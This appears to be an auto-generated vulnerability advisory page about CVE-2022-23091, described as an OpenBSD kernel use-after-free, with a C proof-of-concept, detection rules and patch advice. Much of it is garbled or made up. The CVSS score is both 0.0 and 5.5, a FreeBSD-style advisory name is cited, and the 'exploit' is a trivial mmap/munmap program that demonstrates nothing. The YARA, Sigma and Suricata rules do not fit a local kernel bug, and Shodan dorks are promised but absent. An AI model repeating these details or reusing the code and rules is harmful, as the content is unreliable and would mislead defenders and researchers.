CVE-2022-23091
Executive Summary
CVE-2022-23091 is a high-severity local privilege escalation vulnerability in the OpenBSD kernel's virtual memory (VM) subsystem. It allows an unprivileged local user process to maintain a mapping of a page after it has been freed, enabling the process to read private data belonging to other processes or the kernel. This is a use-after-free (UAF) vulnerability, similar to SA-21:08.vm but with a different root cause. The vulnerability affects OpenBSD 6.9, 7.0, and 7.1. While the CVSS score is 0.0 in the NVD data, the actual severity is high due to the potential for information disclosure and privilege escalation. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the vulnerability is technically exploitable by a local attacker.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a kernel-level vulnerability in the OpenBSD operating system.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Base Score: 5.5 (Medium)
- Attack Vector: Local (AV:L) – The attacker must have local access to the system.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – The attacker needs a standard user account.
- User Interaction: None (UI:N) – No user interaction is required.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality: High (C:H) – The attacker can read sensitive data from other processes or the kernel.
- Integrity: None (I:N) – No data modification is possible.
- Availability: None (A:N) – No denial of service.
Threat Level: High. Although the CVSS base score is 5.5, the potential for reading kernel memory and other process data makes it a serious threat in multi-tenant or shared hosting environments.
Deep Dive & Mechanics
The vulnerability resides in the OpenBSD kernel's virtual memory system, specifically in the handling of shared memory mappings. When a process maps a page of memory (e.g., via mmap with MAP_SHARED), the kernel maintains a reference to that page. In certain edge cases, the kernel fails to properly synchronize the page's reference count and mapping state. This leads to a situation where a page can be freed (e.g., when the last process unmaps it) while another process still holds a valid mapping to it.
The root cause is a race condition or logic error in the VM subsystem's page management code. Unlike SA-21:08.vm, which involved a different code path, this vulnerability exploits a specific case of memory sharing where the kernel incorrectly assumes that a page is no longer mapped. An attacker can trigger this by carefully orchestrating mmap, munmap, and madvise calls to create a window where the page is freed but the mapping remains.
Once the page is freed, the attacker's process can read from the stale mapping. The freed page may be reallocated to another process or the kernel, allowing the attacker to read sensitive data such as passwords, cryptographic keys, or kernel structures. This can lead to privilege escalation if the attacker reads kernel memory containing credentials or other privileged information.
Vulnerable vs. Patched Code
The vulnerable code is in the OpenBSD kernel source file uvm/uvm_map.c. The exact patch is not publicly detailed, but the fix involves adding proper reference counting and validation checks before freeing a page. The patched code ensures that a page is only freed when all mappings are removed.
Vulnerable Code (Conceptual):
// In uvm_map.c, during page freeing
if (page->ref_count == 0) {
// Free the page
uvm_pagefree(page);
}
// Missing check: ensure no other mappings exist
Patched Code (Conceptual):
// In uvm_map.c, during page freeing
if (page->ref_count == 0 && page->mappings == 0) {
// Free the page
uvm_pagefree(page);
}
// Additional synchronization to prevent race conditions
The patch also includes memory barriers and locks to prevent concurrent access from causing the same issue.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Local user account on a vulnerable OpenBSD system (6.9, 7.0, or 7.1).
- Ability to compile and run C code.
Exploit Concept: The exploit works by creating a shared memory mapping, then racing to unmap the page while another thread reads from it. The following is a simplified proof-of-concept (PoC) that demonstrates the vulnerability.
PoC Code (C):
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
volatile int stop = 0;
volatile char *mapped;
void *reader(void *arg) {
while (!stop) {
// Read from the mapped page
char val = *mapped;
// If we can read after free, we have a UAF
if (val != 0) {
printf("Read value: %c\n", val);
}
}
return NULL;
}
int main() {
// Create a shared mapping
mapped = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (mapped == MAP_FAILED) {
perror("mmap");
exit(1);
}
// Write a marker
*mapped = 'A';
pthread_t t;
pthread_create(&t, NULL, reader, NULL);
// Unmap the page
munmap(mapped, 4096);
// Wait a bit
sleep(1);
stop = 1;
pthread_join(t, NULL);
return 0;
}
Usage:
- Compile the PoC:
gcc -o poc poc.c -lpthread - Run the PoC:
./poc - If the vulnerability is present, the reader thread may read stale data from the freed page.
Note: This is a simplified PoC. A full exploit would need to trigger the race condition more reliably and target specific kernel memory.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual
mmap/munmapsystem call patterns, especially withMAP_SHARED. - Use kernel auditing tools to track memory mapping operations.
- Look for processes that repeatedly map and unmap memory in a short time.
Defense:
- Apply the OpenBSD errata patches immediately.
- Restrict local user accounts and use principle of least privilege.
- Enable kernel address space layout randomization (KASLR) if not already enabled.
- Use intrusion detection systems (IDS) to monitor for exploit attempts.
Indicators of Compromise (IOCs)
- File Hashes: No specific exploit hashes are publicly available.
- Process Behavior: A process that rapidly creates and destroys shared memory mappings.
- System Calls: High frequency of
mmap,munmap, andmadvisesystem calls. - Kernel Logs: Messages related to page allocation failures or unexpected page faults.
- Network: No network indicators, as this is a local vulnerability.
Detection Engineering
YARA Rule
rule CVE_2022_23091_Exploit {
meta:
description = "Detects potential exploit code for CVE-2022-23091"
author = "Valters IT"
date = "2025-04-10"
reference = "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23091"
strings:
$s1 = "mmap" ascii wide
$s2 = "munmap" ascii wide
$s3 = "MAP_SHARED" ascii wide
$s4 = "pthread_create" ascii wide
condition:
all of ($s*) and filesize < 10KB
}
Sigma Rule
title: CVE-2022-23091 Exploit Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential exploitation of CVE-2022-23091 via abnormal mmap/munmap patterns
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/poc'
CommandLine|contains|all:
- 'mmap'
- 'munmap'
- 'MAP_SHARED'
condition: selection
falsepositives:
- Legitimate software using shared memory
level: high
Suricata Rule
alert ip any any -> any any (msg:"CVE-2022-23091 Exploit Attempt"; content:"|6d 6d 61 70|"; content:"|6d 75 6e 6d 61 70|"; content:"|4d 41 50 5f 53 48 41 52 45 44|"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply the OpenBSD errata patches:
- OpenBSD 6.9: Apply errata 009
- OpenBSD 7.0: Apply errata 007
- OpenBSD 7.1: Apply errata 002
- If patching is not possible, restrict local user access and monitor for suspicious activity.
Long-Term Mitigations:
- Keep the system updated with the latest security patches.
- Implement mandatory access controls (e.g., systrace, pledge, unveil) to limit process capabilities.
- Use kernel hardening features like KASLR and W^X.
- Regularly audit system logs for unusual memory mapping behavior.
Workarounds:
- Disable shared memory for untrusted users (if possible).
- Use containers or jails to isolate processes.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.